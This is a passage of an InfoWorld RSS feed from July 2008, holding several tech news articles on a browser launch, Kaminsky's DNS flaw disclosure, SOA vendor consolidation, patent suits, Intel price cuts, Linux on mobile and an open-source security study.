Miki, director of the overseas marketing division, at Fenrir.</p><p page="1" class="ArticleBody">&quot;We&#39;d like to focus on advanced users,&quot; he said.</p><p page="1" class="ArticleBody">In the next couple of years, Fenrir hopes to dramatically grow its user base from the current roughly 100,000 users to around 17 million, said Miki. That corresponds to about 5 percent of the English-speaking Web user base, he said.</p><p page="1" class="ArticleBody">In Japan the browser has a 9 percent market share, according to Fenrir. No independent data to verify that claim is available but a recent survey of 3,003 computer programmers published by Nikkei ITpro put Sleipnir&#39;s share at 6 percent among that group.</p><p page="1" class="ArticleBody">Initially the focus is on the English-speaking market but Fenrir has plans to look at other language versions including Spanish and French.</p></div> Tue, 22 Jul 2008 11:23:11 GMT http://www.infoworld.com/article/08/07/22/Japanese_browser_maker_taking_on_IE_Firefox_1.html 2008-07-22T11:23:11Z Details of major Internet flaw posted by accident http://www.infoworld.com/cgi-bin/redirect?source=rss&url=http://www.infoworld.com/article/08/07/22/Details_of_major_Internet_flaw_posted_by_accident_1.html <div class="rxbodyfield"><p class="ArticleBody" page="1">A computer security company on Monday inadvertently published details of a major flaw in the Internet&#39;s Domain Name System (DNS) several weeks before they were due to be disclosed.</p><p align="right"><a href="http://ad.doubleclick.net/jump/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" target="_blank" /><img src="http://ad.doubleclick.net/ad/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" width="336" height="280" border="0" alt="" align="right"/></a></p><p class="ArticleBody" page="1">The flaw was discovered several months ago by IOActive researcher Dan Kaminsky, who worked through the early part of this year with Internet software vendors such as Microsoft, Cisco, and the Internet Systems Consortium to patch the issue.</p><p class="ArticleBody" page="1"><b>[ Read the related story on how&#160;<a href="http://www.infoworld.com/article/08/07/10/Talk_of_Internet_bug_spawns_backlash_from_hackers_1.html">talk of the Internet bug spawned a backlash from hackers</a>&#160;. ]</b></p><p class="ArticleBody" page="1">The companies released a fix for the bug two weeks ago and encouraged corporate users and Internet service providers to patch their DNS systems as soon as possible. Although the problem could affect some home users, it is not considered to be a major issue for consumers, according to Kaminsky.</p><p class="ArticleBody" page="1">At the time he announced the flaw, Kaminsky asked members of the security research community to hold off on public speculation about its precise nature in order to give users time to patch their systems. Kaminsky had planned to disclose details of the flaw during a presentation at the Black Hat security conference set for Aug. 6.</p><p class="ArticleBody" page="1">Some researchers took the request as a personal challenge to find the flaw before Kaminsky&#39;s talk. Others complained at being kept in the dark about the technical details of his finding.</p><p class="ArticleBody" page="1">On Monday, Zynamics.com CEO Thomas Dullien (who uses the hacker name Halvar Flake)&#160; <a href="http://addxorrol.blogspot.com/2008/07/on-dans-request-for-no-speculation.html" target="_blank">took a guess</a> at the bug, admitting that he knew very little about DNS.</p><p class="ArticleBody" page="1">His findings were quickly confirmed by Matasano Security, a vendor that had been briefed on the issue.</p><p class="ArticleBody" page="1">&quot;The cat is out of the bag. Yes, Halvar Flake figured out the flaw Dan Kaminsky will announce at Black Hat,&quot; Matasano said in a blog posting that was removed within five minutes of its 1:30 p.m. Eastern publication. Copies of the post were soon circulating on the Internet, one of which was viewed by IDG News Service.</p><p class="ArticleBody" page="1">Matasano&#39;s post discusses the technical details of the bug, saying that by using a fast Internet connection, an attacker could launch what&#39;s known as a DNS cache poisoning attack against a Domain Name Server and succeed, for example, in redirecting traffic to malicious Web sites within about 10 seconds.</p><p class="ArticleBody" page="1">Matasano Researcher Thomas Ptacek declined to comment on whether or not Flake had actually figured out the flaw, but in a telephone interview he said the item had been &quot;accidentally posted too soon.&quot; Ptacek was one of the few security researchers who had been given a detailed briefing on the bug and had agreed not to comment on it before details were made public.</p><p class="ArticleBody" page="1">Matasano&#39;s post inadvertently confirmed that Flake had described the flaw correctly, Ptacek admitted.</p><p class="ArticleBody" page="1">Late Monday, Ptacek <a href="http://www.matasano.com/log/1105/regarding-the-post-on-chargen-earlier-today/" target="_blank">apologized</a> to Kaminsky on his company blog. &quot;We regret that it ran,&quot; he wrote. &quot;We removed it from the blog as soon as we saw it. Unfortunately, it takes only seconds for Internet publications to spread.&quot;</p><p class="ArticleBody" page="1">Kaminsky&#39;s attack takes advantage of several known DNS bugs, combining them in a novel way, said Cricket Liu vice president of architecture with DNS appliance vendor Infoblox, after viewing the Matasano post.</p><p class="ArticleBody" page="1">The bug has to do with the way DNS clients and servers obtain information from other DNS servers on the Internet. When the DNS software does not know the numerical IP (Internet Protocol) address of a computer, it asks another DNS server for this information. With cache poisoning, the attacker tricks the DNS software into believing that legitimate domains, such as idg.com, map to malicious IP addresses.</p><p class="ArticleBody" page="1">In Kaminsky&#39;s attack a cache poisoning attempt also includes what is known as &quot;Additional Resource Record&quot; data. By adding this data, the attack becomes much more powerful, security experts say. &quot;The combination of them is pretty bad,&quot; Liu said.</p><p class="ArticleBody" page="1">An attacker could launch such an attack against an Internet service provider&#39;s domain name servers and then redirect them to malicious servers. By poisoning the domain name record for www.citibank.com, for example, the attackers could redirect the ISP&#39;s users to a malicious phishing server every time they tried to visit the banking site with their Web browser.</p><p class="ArticleBody" page="1">Kaminsky declined to confirm that Flake had discovered his issue, but in a posting to his Web site Monday he <a href="http://www.doxpara.com/?p=1176" target="_blank">wrote</a> &quot;13&gt;0,&quot; apparently a comment that the 13 days administrators have had to patch his flaw before its public disclosure is better than nothing.</p><p class="ArticleBody" page="1">&quot;Patch. Today. Now. Yes, stay late,&quot; he wrote.</p><p class="ArticleBody" page="1">He has posted a test on his <a href="http://www.doxpara.com/" target="_blank">Web site</a> that anyone can run to find our if their network&#39;s DNS software is patched</p></div> Tue, 22 Jul 2008 10:52:23 GMT http://www.infoworld.com/article/08/07/22/Details_of_major_Internet_flaw_posted_by_accident_1.html 2008-07-22T10:52:23Z How to handle SOA vendor consolidation http://www.infoworld.com/cgi-bin/redirect?source=rss&url=http://www.infoworld.com/article/08/07/22/30NF-soa-market-consolidation_1.html <div class="rxbodyfield"><p class="ArticleBody" page="1">The SOA concept -- developing a software architecture based on service components that can be mixed and matched as needed to reduce development time and increase application deployment flexibility -- is only a few years old, but the providers of SOA-supporting infrastructure are fast consolidating. Oracle captured the headlines with its <a href="http://www.infoworld.com/article/08/07/01/Oracle-reveals-BEA-roadmap_1.html" class="regularArticleU">acquisition of BEA Systems</a> this spring, and <a href="http://www.infoworld.com/article/08/06/25/Progress_buys_Iona_for_SOA_wares_1.html" class="regularArticleU">Progress Software recently bought Iona Technologies</a>.</p><p align="right"><a href="http://ad.doubleclick.net/jump/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" target="_blank" /><img src="http://ad.doubleclick.net/ad/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" width="336" height="280" border="0" alt="" align="right"/></a></p><p class="ArticleBody" page="1">That means the choices for infrastructure providers -- from enterprise service buses (ESBs) to shared code repositories -- is shrinking just as more companies are exploring SOA. A few vendors such as IBM and Oracle now offer the convenience of a soup-to-nuts SOA platform, but at the risk of locking in their customers to a proprietary stack or selling them more than they need as part of a suite or package.</p><p class="ArticleBody" page="1"><b>[ Get</b> <b>past the vendor hype and find out what's real in SOA in InfoWorld's <a href="http://weblog.infoworld.com/realworldsoa/?source=fssr" class="regularArticleU">Real World SOA blog</a>. ]</b></p><p class="ArticleBody" page="1">For example, Delaware Electric had to fend off IBM's attempt to sell more than the utility needed, says CFO Garry Cripps. "IBM behaved like most vendors I deal with: They tried to up-sell me for the highest horsepower whether I needed it or not," he says. (Cripps is pleased with the IBM WebSphere Process Server he did buy to manage SOA services.)</p><p class="ArticleBody" page="1">Vendors such as Hewlett-Packard, Itko, Software AG, Tibco, and WSO2 that offer specific SOA platform components will continue to exist. But some of them fear that because their customers increasingly are using platform offerings from the large vendors, they could be displaced by the larger vendor, either because it offers a similar component or doesn't integrate well with the smaller vendor's tool.</p><p class="ArticleBody" page="1">For example, Software AG says that IBM's claim of integration with and accommodation of other vendors' products is misleading, putting it at a disadvantage.</p><p class="ArticleBody" page="1"><b>Not as simple as "soup to nuts" versus "best of breed"<br/> </b>But the choices in the SOA market are not so clearly between proprietary but integrated stacks and "best of breed," but rather nonintegrated components, says Randy Heffner, a Forrester Research analyst. That's because by its nature, SOA uses standard interfaces such as SOAP, WSDL, BPEL, and XML to connect services to each other. Thus, even a large vendor like IBM is forced to compete with a startup like WSO2.</p><p class="ArticleBody" page="1">In a true SOA approach, individual services can run over proprietary infrastructure, but the interfaces among them typically adhere to the established standards. That reduces lock-in risk to the infrastructure, not the applications running over them, Heffner says -- but only if IT avoids vendors' proprietary extensions to those standards. "There are a lot of extensions beyond the specifications," he notes.</p><p class="ArticleBody" page="1">Also, because most SOA efforts seek to reuse existing applications wherever possible, IT will have to do custom coordination no matter how integrated the SOA platform. That helps blunt the "one provider" argument.</p><p class="ArticleBody" page="1">"With SOA, there's a lot of legacy products, so you have to write your own pieces," said Brad Svee, manager of IT development at Concur Technologies, a provider of expense reporting and travel management services.</p><p class="ArticleBody" page="1">Enterprise architects assembling an SOA have three strategies, according to a recent Forrester study by Heffner. These include a single-vendor, "best of breed," or specialized approach (using a proprietary framework developed for or by the company).</p><p class="ArticleBody" page="2">"Focusing on one vendor provides the benefit of reducing finger-pointing between vendors when things go wrong," Heffner says, but that doesn't mean having to choose a single provider for your SOA infrastructure. Instead, companies that don't want to manage lots of vendors for their SOA infrastructure can use an integrator to handle the various providers or choose a primary vendor that then manages the other providers. "Forrester's rule of thumb is to focus on a primary vendor without ruling out 'best of breed' substitutions," he says.</p><p class="ArticleBody" page="2">IT's challenge is to figure out the right way to deploy its architecture, which is where the SOA infrastructure choices come up. At a practical level, most companies already have some SOA infrastructure in place, such as EAI (enterprise application integration) middleware, Web services and related Web platforms, and messaging middleware. That established infrastructure often determines who will provide the rest of the SOA infrastructure, says Tim Hall, director of Hewlett-Packard's SOA Center.</p><p class="ArticleBody" page="2">For example, a company that has standardized on Oracle for these systems will likely go to Oracle for the rest of the SOA platform. But a company with heterogeneous systems in place is likely to continue buying "best of breed" components from a variety of vendors.</p><p class="ArticleBody" page="2">"You talk to major customers, and they have some flavor of middleware from all these companies. The question is it's not so much the issue of what you select but how do you use what you have [effectively]," Hall says. Almost every customer has middleware from different vendors, agrees Sandy Carter, IBM's vice president of SOA and WebSphere.</p><p class="ArticleBody" page="2">That heterogeneous reality means that many customers pick and choose their SOA infrastructure components as well, says Miko Matsumura, product marketing manager at Software AG: "Not all of our customers have every single component [that Software AG provides]."</p><p class="ArticleBody" page="2"><b>A tour of SOA infrastructure providers<br/> </b>Vendors tend to promote themselves as offering pretty much everything a customer requires, says Forrester's Heffner. "All of them would say, 'We can do all or most all of what you need,'" directly or through partnerships.</p><p class="ArticleBody" page="2">Here's what the major providers actually offer themselves:</p><p class="ArticleBody" page="2"><b>Hewlett-Packard:</b> HP offers SOA governance tools and a services registry through its acquisition of Mercury Software, as well as quality management tools through its purchase of Talking Blocks.</p><p class="ArticleBody" page="2"><b>IBM:</b> Big Blue's SOA wares include an ESB, a process server, a portal, a mashup engine, an application server, and capabilities for business services. IBM's Tivoli unit provides services management software, and IBM's acquisition of AppSoft adds event processing.</p><p class="ArticleBody" page="2"><b>Itko</b><b>:</b> The company provides SOA test and validation tools.</p><p class="ArticleBody" page="2"><b>Microsoft:</b> The software giant doesn't offer SOA products per se, but it positions products such as BizTalk Server and Windows Communication Foundation as an ESB without actually having an ESB in its product catalog.</p><p class="ArticleBody" page="2"><b>Oracle:</b> Its SOA arsenal includes an ESB, a BPEL process manager, business activity monitoring, and Web services management. Oracle also acquired a repository in its BEA buy.</p><p class="ArticleBody" page="2"><b>Progress Software:</b> The company is putting together a wide roster of SOA tools through aggressive acquisition, most recently of Iona for SOA services management. It has also bought ESB provider Sonic Systems, application infrastructure company Mindreef, Web services management vendor Actional, integration provider Pantero, and complex event processing firm Apama.</p><p class="ArticleBody" page="2"><b>Software AG:</b> The company offers a wide palette of SOA products for governance, design, runtime, business process management, and business activity monitoring, as well as a composite application framework. An ESB is on the roster, thanks to the company's <a href="http://www.infoworld.com/article/07/04/05/HNsoftwareagwebmethods_1.html" class="regularArticleU">acquisition of WebMethods</a>.</p><p class="ArticleBody" page="2"><b>Tibco</b><b>:</b> The vendor's offerings include a runtime platform, an ESB, and a registry.</p><p class="ArticleBody" page="2"><b>WSO2:</b> Taking the open source approach to SOA, WSO2 bills itself as a full-service provider, offering an ESB, a registry, identity management, a Web services application server, and a mashup server.</p></div> Tue, 22 Jul 2008 10:00:00 GMT http://www.infoworld.com/article/08/07/22/30NF-soa-market-consolidation_1.html 2008-07-22T10:00:00Z IBM, Oracle sued over server software technology patents http://www.infoworld.com/cgi-bin/redirect?source=rss&url=http://www.infoworld.com/article/08/07/21/IBM_Oracle_sued_over_server_software_technology_patents_1.html <div class="rxbodyfield"><p page="1" class="ArticleBody"><a href="http://www.networkworld.com/news/financial/ibm.html%20Oracle,%20http://www.networkworld.com/news/financial/oracle.html">IBM</a>, <a href="http://www.networkworld.com/news/2008/050808-sap-five-considerations.html">SAP</a>, and <a href="http://www.networkworld.com/news/2008/060208-adobe-hosted-collaboration.html">Adobe Systems</a> are the latest targets of patent lawsuits filed by Implicit Networks.</p><p align="right"><a href="http://ad.doubleclick.net/jump/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" target="_blank" /><img src="http://ad.doubleclick.net/ad/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" width="336" height="280" border="0" alt="" align="right"/></a></p><p page="1" class="ArticleBody">Implicit claims the companies &quot;are violating two patents for computer-server <a href="http://www.networkworld.com/topics/software.html">software</a> that performs faster <a href="http://www.networkworld.com/topics/security.html">security</a> functions,&quot; Bloomberg News reported. Implicit <a href="http://dockets.justia.com/docket/court-wawdce/case_no-2:2008cv01080/case_id-153090/">filed its lawsuit</a> in Washington Western District Court on July 15, just five months after suing AMD, <a href="http://www.networkworld.com/news/financial/intel.html">Intel,</a> Nvidia, <a href="http://www.networkworld.com/news/financial/intel.html">Sun</a> , Raza Microelectronics, and RealNetworks in the same venue.</p><p page="1" class="ArticleBody">While the first Implicit Networks lawsuit puts rivals AMD and Intel on the same side in court, the July lawsuit also places rivals <a href="http://www.networkworld.com/news/financial/oracle.html">Oracle</a> &#160;and SAP together as defendants. Oracle, meanwhile, is still pursuing a <a href="http://www.networkworld.com/news/2008/041808-oracle-to-expand-sap-lawsuit.html">legal action against SAP</a> , which claims SAP illegally accessed Oracle&#39;s customer support systems.</p><p page="1" class="ArticleBody">The Implicit lawsuit against AMD and Intel centers around a <a href="http://www.google.com/patents?id=EpEMAAAAEBAJ&amp;dq=%22implicit+networks%22">2003 patent</a> covering technology for &quot;demultiplexing packets of a message.&quot;</p><p page="1" class="ArticleBody">In the new lawsuit, Bloomberg reports that Implicit Networks is seeking royalties from such products as IBM&#39;s Websphere Application Server, Oracle&#39;s Application Server and BEA WebLogic Server, SAP&#39;s NetWeaver and Adobe&#39;s JRun and ColdFusion. The suit centers around two patents issued to Implicit after applications filed by the company in 1998 and 2001. IBM, Oracle, SAP, and Adobe are expected to issue formal responses in court by Sept. 18, Bloomberg reports.</p></div> Mon, 21 Jul 2008 21:42:52 GMT http://www.infoworld.com/article/08/07/21/IBM_Oracle_sued_over_server_software_technology_patents_1.html 2008-07-21T21:42:52Z Intel slashes chip prices up to 31 percent http://www.infoworld.com/cgi-bin/redirect?source=rss&url=http://www.infoworld.com/article/08/07/21/Intel_slashes_chip_prices_up_to_31_1.html <div class="rxbodyfield"><p page="1" class="ArticleBody">Intel Sunday announced that it has dropped the price of seven processors by up to 31 percent.</p><p align="right"><a href="http://ad.doubleclick.net/jump/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" target="_blank" /><img src="http://ad.doubleclick.net/ad/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" width="336" height="280" border="0" alt="" align="right"/></a></p><p page="1" class="ArticleBody">There were three price cuts in Intel&#39;s <a href="http://www.computerworld.com/action/inform.do?command=search&amp;searchTerms=Intel+Core+Duo">Core 2 Duo</a> chip family. The 3.16 GHz Core 2 Duo E8500 was cut from $266 to $183 as of July 20. That 31 percent&#160;drop greatly outpaced all the other cuts, which ranged from 11 to 15 percent, according to an Intel <a href="http://files.shareholder.com/downloads/INTC/364367465x0x214013/BBD2E887-3C94-40FE-B83F-E747BF181974/July_20_08_1ku_Price.pdf">price list</a> .</p><p page="1" class="ArticleBody">The price of the Core 2 Duo 2.53 GHz E2700 chip was cut by 15&#160;percent cut to $113, and the 3 GHz E8400 by 11 percent&#160;to $163. In addition the price tag for the company&#39;s Core 2 Q6600 2.4 GHz quad processor was reduced from $224 to $1993, a 14 percent drop.</p><p page="1" class="ArticleBody">Three cuts also came in the <a href="http://www.computerworld.com/action/inform.do?command=search&amp;searchTerms=Intel+Xeon+Processor">Xeon</a> server processor family, with prices of both the X3220 and the X3210 reduced by 12 percent. The price of the E3110 dropped by 11 percent.</p><p page="1" class="ArticleBody">In April, Intel had <a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9079419">slashed the prices</a> on about a dozen of its processors up to 50 percent.</p><p page="1" class="ArticleBody">Dan Olds, principal analyst with the Gabriel Consulting Group, said Intel is simply trying to keep its product moving out the door and that cutting prices periodically is a good way to do that.</p><p page="1" class="ArticleBody">&quot;These chips will eventually go away in the next few quarters or even in a few years in some cases, but Intel wants to keep them moving out the door right up until they&#39;re discontinued,&quot; he added. &quot;They&#39;re going to be bringing out new designs. Then they&#39;ve got to look at their older stuff. The new stuff is faster and better, so you have to cut prices on the old stuff to keep it moving.&quot;</p></div> Mon, 21 Jul 2008 21:30:59 GMT http://www.infoworld.com/article/08/07/21/Intel_slashes_chip_prices_up_to_31_1.html 2008-07-21T21:30:59Z Linux set to make mobile splash http://www.infoworld.com/cgi-bin/redirect?source=rss&url=http://www.infoworld.com/article/08/07/21/Linux-set-to-make-mobile-splash_1.html <div class="rxbodyfield"><p class="ArticleBody" page="1">Linux is set to make a major impact in the mobile computing realm, the executive director of the Linux Foundation stressed at a conference Monday morning.</p><p align="right"><a href="http://ad.doubleclick.net/jump/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" target="_blank" /><img src="http://ad.doubleclick.net/ad/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" width="336" height="280" border="0" alt="" align="right"/></a></p><p class="ArticleBody" page="1">Speaking at the Open Mobile Exchange portion of the O'Reilly Open Source Conference (OSCON) in Portland, Ore., <a href="http://www.infoworld.com/article/08/03/12/Linux-Foundation-Wed-love-to-work-with-Microsoft_1.html" class="regularArticleU">Jim Zemlin</a>, executive director of the foundation, touted the trends and technologies pushing Linux into a leadership position in mobile systems. He was followed by Jason Grigsby, Web strategist at mobile and Web design firm Cloud Four, who emphasized the coming influence of the mobile Web but countered that developers are not yet ready for it.</p><p class="ArticleBody" page="1">Zemlin said Linux has emerged as a primary platform, even on the desktop. Meanwhile, it also has spread to devices such as gas pumps and medical equipment. Additionally, it is being deployed in Wall Street trading, in consumer electronics, and on Mars in space-based equipment.</p><p class="ArticleBody" page="1">"It?s clear that Linux is going to be a leader in the mobile space," he said.</p><p class="ArticleBody" page="1">Linux, according to Zemlin, offers a unified product platform, flexibility, and a software stack. It also has experienced an increase in the volume of software content, with the lines of Linux handset code doubling every year.</p><p class="ArticleBody" page="1">"Really, what's happening in mobile is instead of having a hardware-up approach, you're starting to see a software-down approach," with the software experience driving the mobile marketplace, he said.</p><p class="ArticleBody" page="1">By supporting Linux, developers do not have to contend with compatibility issues of supporting different platforms. The industry wants to get away from that, he said.</p><p class="ArticleBody" page="1">"It's just a nightmare to support all these different OSes and try to maintain some degree of compatibilty," Zemlin said.</p><p class="ArticleBody" page="1">Different middleware packages and application development frameworks are available for Linux. "There's a huge freedom to mix the core Linux kernel," he said.</p><p class="ArticleBody" page="1">Business drivers for Linux include reduced deployment costs, room to differentiate, and an ecosystem of development around phone platforms. "It's obviously a royalty-free platform. That's a huge business driver," said Zemlin.</p><p class="ArticleBody" page="1">"Linux really allows device manufacturers and new people to come in and create their own brand," he said.</p><p class="ArticleBody" page="1">Symbian's move to open source has had a negative impact on Windows, leaving it the only royalty-based mobile platform, said Zemlin.</p><p class="ArticleBody" page="2">Linux application development is starting to coalesce around initiatives such as <a href="http://www.infoworld.com/archives/t.jsp?N=s&amp;V=93157" class="regularArticleU">Google's Android</a> and LiMo (Linux Mobile Foundation), he said. Other Linux efforts are afoot such as Openmmoko, to create a smartphone platform, and Ubuntu Mobile, said Zemlin.</p><p class="ArticleBody" page="2"><b>[ For</b> <b>the full lowdown on <a href="http://www.infoworld.com/archives/t.jsp?N=s&amp;V=93157&amp;source=fssr" class="regularArticleU">Google's Android mobile development platform</a>, see InfoWorld's special report ]</b></p><p class="ArticleBody" page="2">"There really isn't any major player from a corporate point of view who doesn?t have their foot in some way in the Linux camp," other than Microsoft, said Zemlin.</p><p class="ArticleBody" page="2">Other efforts involve development of <a href="http://www.infoworld.com/article/08/03/31/The-low-cost-laptop-offer-Microsoft-cant-refuse_1.html" class="regularArticleU">Linux mobile devices such as notebook systems</a>. "You're going to see 50 of those companies launch next year," Zemlin said.</p><p class="ArticleBody" page="2">Grigsby, meanwhile, emphasized that the mobile Web is coming, but Web developers are not ready yet.</p><p class="ArticleBody" page="2">There are 3.3 billion mobile devices on the planet, he said. "That's one for every two people," and more than the number of PCs, cars, televisions, and credit cards, he said.</p><p class="ArticleBody" page="2">He lauded the capabilities of <a href="http://www.infoworld.com/archives/t.jsp?N=s&amp;V=95808" class="regularArticleU">Apple's iPhone</a> and what it has done for mobile computing. "The iPhone is really the Mosaic of the mobile Web," opening people's eyes to opportunities on the mobile side the way Mosaic did with browsers, Grigsby said.</p><p class="ArticleBody" page="2"><b>[ See</b> <b><a href="http://www.infoworld.com/archives/t.jsp?N=s&amp;V=95808&amp;source=fssr" class="regularArticleU">InfoWorld's full coverage of the iPhone,</a> including enterprise strategies and security issues, in our special report ]</b></p><p class="ArticleBody" page="2">But the mobile Web is being held back by UI issues and access to the device characteristics on the phone. Standards and performance also are issues.</p><p class="ArticleBody" page="2">Grigsby predicted more fracturing, proprietary extensions, and a return to the browsers wars on the device side. There are many different browsers, he said. A lot of mobile browsers are designed around WAP (Wireless Application Protocol) rather than featuring full desktop rendering technology such as JavaScript, Grigsby said.</p><p class="ArticleBody" page="2">Web developers, he said, have become bandwidth gluttons, spoiled by high-speed broadband connections they won't have on mobile devices.</p><p class="ArticleBody" page="2">In other developments at OSCON:</p><p class="ArticleBody" page="2">* Microsoft later this week plans to discuss plans for the upcoming <a href="http://www.infoworld.com/article/08/05/30/Microsoft-linking-Silverlight-Ruby-on-Rails_1.html" class="regularArticleU">IronRuby</a> 1.0, which is a version of the Ruby programming language compatible with the .Net software development platform.</p><p class="ArticleBody" page="2">* Canonical officials said they would introduce version 2.0 of the Launchpad hosting platform for software development projects. The 2.0 version includes a beta Internet services API enabling external applications to authenticate, query, and modify data stored in the Launchpad database programmatically. The Bazaar distributed version control system featured in Launchpad has been enhanced to improve handling of larger code bases.</p><p class="ArticleBody" page="2">* The makers of Icecore, which is an open source collaboration platform, are changing the name of the technology to Kablink and adding functionality for workflow. The name change was inspired by the addition of workflow and also is intended to avoid confusion with first-generation technologies, the company said in a statement.</p></div> Mon, 21 Jul 2008 20:15:00 GMT http://www.infoworld.com/article/08/07/21/Linux-set-to-make-mobile-splash_1.html 2008-07-21T20:15:00Z Open-source software a security risk, study claims http://www.infoworld.com/cgi-bin/redirect?source=rss&url=http://www.infoworld.com/article/08/07/21/Open_source_software_a_security_risk_study_claims_1.html <div class="rxbodyfield"><p page="1" class="ArticleBody"><a href="http://www.networkworld.com/news/2008/053008-survey-open-source-is-entering.html">Open-source software</a> is a significant security risk for corporations that use it because in many cases, the open source community fails to adhere to minimal <a href="http://www.networkworld.com/news/2008/053008-survey-open-source-is-entering.html">security</a> best practices, according a study released Monday.</p><p align="right"><a href="http://ad.doubleclick.net/jump/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" target="_blank" /><img src="http://ad.doubleclick.net/ad/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" width="336" height="280" border="0" alt="" align="right"/></a></p><p page="1" class="ArticleBody">The study, carried out by Fortify Software with help from consultant Larry Suto, evaluated 11 open-source <a href="http://www.networkworld.com/topics/software.html">software</a> packages and each community&#39;s response to security issues over the course of about three months. The goal was to find out if the community for each open-source software package was responsive to security questions or vulnerability findings, published security guidelines, and maintained a secure development process, for example.</p><p page="1" class="ArticleBody"><b>[ Track the latest trends in open source with InfoWorld&#39;s <a href="http://weblog.infoworld.com/openresource/?source=fssr">Open Sources blog</a>. ]</b></p><p page="1" class="ArticleBody">Open source application server Tomcat scored the best in the study, titled &quot;Open Source Study -- How Are Open Source Development Communities Embracing Security Best Practices?&quot;</p><p page="1" class="ArticleBody">The remaining 10 open-source application, tool and database packages -- Derby, Geronimo, Hibernate, Hipergate, JBoss, Jonas, OFBiz, OpenCMS, Resin, and Struts -- had a dismal showing. Among these 10 packages, application server JBoss scored higher by providing a prominent link to security information on its Web site and easy access to security experts, but came up short for not having a specific e-mail alias for submission of security vulnerabilities.</p><p page="1" class="ArticleBody">&quot;You don&#39;t want to report bugs to a general mailing list because it would go to the general public,&quot; says Jacob West, manager of Fortify&#39;s security research group. There needs to be a measure of confidentiality in reporting bugs so that the fix for them can be provided when the public is notified, so attackers don&#39;t get early information they can exploit.</p><p page="1" class="ArticleBody">But too often the open-source communities that offer their software for free don&#39;t appear to be as mindful about security practices as their commercial counterparts, which charge for software and support, West says.</p><p page="1" class="ArticleBody">Fortify identified a total of 22,826 cross-site scripting and 15,612 SQL injection issues associated with multiple versions of the 11 open-source software packages examined.</p><p page="1" class="ArticleBody">But when Fortify tried to reach out to the open-source software communities, with the primary point of contact a Web site and a general e-mail address, the security firm found that &quot;in two-thirds of these cases, you didn&#39;t get a response at all,&quot; West says. &quot;There are no phone numbers. Who do you go to ask for information? It&#39;s kind of hard to tell who these people are.&quot;</p><p page="1" class="ArticleBody">The report itself notes, &quot;Open-source packages often claim enterprise-class capabilities but are not adopting -- or even considering -- industry best practices. Only a few open source development teams are moving in the right direction.&quot;</p><p page="1" class="ArticleBody">West says Fortify did not conduct this study in order to condemn open source software, but rather to point out that the security practices need to improve because open source adoption by enterprises and governments is growing.</p><p page="1" class="ArticleBody">Howard Schmidt, former White House cybersecurity czar who&#39;s now a consultant, and also a board member at Fortify, says the study shows that when it comes to business adoption of open source software, &quot;You&#39;ve got to go into this with your eyes wide open.&quot;</p><p page="1" class="ArticleBody">The reality is that while open source software may appear more cost-effective and just as functional as commercial software in some instances, the <a href="http://www.networkworld.com/news/2008/070908-developing-open-source-business-policies-that.html">question of maintenance</a> must be examined very carefully.</p><p page="1" class="ArticleBody">&quot;Who do you reach out to?&quot; Schmidt asks. &quot;What about the thousands of companies out there running Geronimo? And what about your supply-chain partners?&quot;</p><p page="1" class="ArticleBody">The bottom line is that corporations may find they have to undertake remediation of open source packages on their own. &quot;You are effectively on your own, absent your having an arrangement ahead of time,&quot; Schmidt says.</p><p page="1" class="ArticleBody">Government agencies and corporations need to decide if they&#39;re going to try to mitigate problems with open source software themselves, through risk assessment and code review, and whether they plan to give that information back to the open source community.</p><p page="1" class="ArticleBody">This is a fundamental question about the life-cycle development of the software, West says, adding that the study indicated to Fortify that the open source communities in these cases tended not to correct for identified flaws in software versions over a period of time.</p></div> Mon, 21 Jul 2008 19:13:51 GMT http://www.infoworld.com/article/08/07/21/Open_source_software_a_security_risk_study_claims_1.html 2008-07-21T19:13:51Z Update: SAP will shut TomorrowNow at the end of October http://www.infoworld.com/cgi-bin/redirect?source=rss&url=http://www.infoworld.com/article/08/07/21/SAP_will_shut_TomorrowNow_subsidiary_1.html <div class="rxbodyfield"><p page="1" class="ArticleBody">SAP plans to close its TomorrowNow software maintenance subsidiary by Oct. 31, having failed to find a buyer for the company. It will help TomorrowNow&#39;s 225 customers to find new support providers before the company closes its doors, it announced Monday.</p><p align="right"><a href="http://ad.doubleclick.net/jump/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" target="_blank" /><img src="http://ad.doubleclick.net/ad/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" width="336" height="280" border="0" alt="" align="right"/></a></p><p page="1" class="ArticleBody">TomorrowNow built a business selling third-party support for PeopleSoft and JD Edwards applications at around half the price charged by the original software vendors, later&#160;<a href="http://www.infoworld.com/article/06/05/12/78268_HNsapsupportsiebel_1.html">adding support for Siebel</a>&#160;and Baan software to its range.</p><p page="1" class="ArticleBody"><b>[ Discover the top-rated IT products as rated by the <a href="http://www.infoworld.com/testcenter/?source=fssr">InfoWorld Test Center</a>. ]</b></p><p page="1" class="ArticleBody">SAP bought TomorrowNow in February 2005: the company offered a convenient way for SAP to get closer to customers of its arch-rival Oracle, which had acquired PeopleSoft and JD Edwards in 2004, and later snapped up Siebel too.</p><p page="1" class="ArticleBody">However, in March 2007&#160;<a href="http://www.infoworld.com/article/07/03/22/HNoraclesuessap_1.html">Oracle filed suit against TomorrowNow and SAP</a>, alleging that they had gotten a little too close. Oracle charged that TomorrowNow employees had illegally downloaded support materials for PeopleSoft and JD Edwards products from an Oracle Web site. 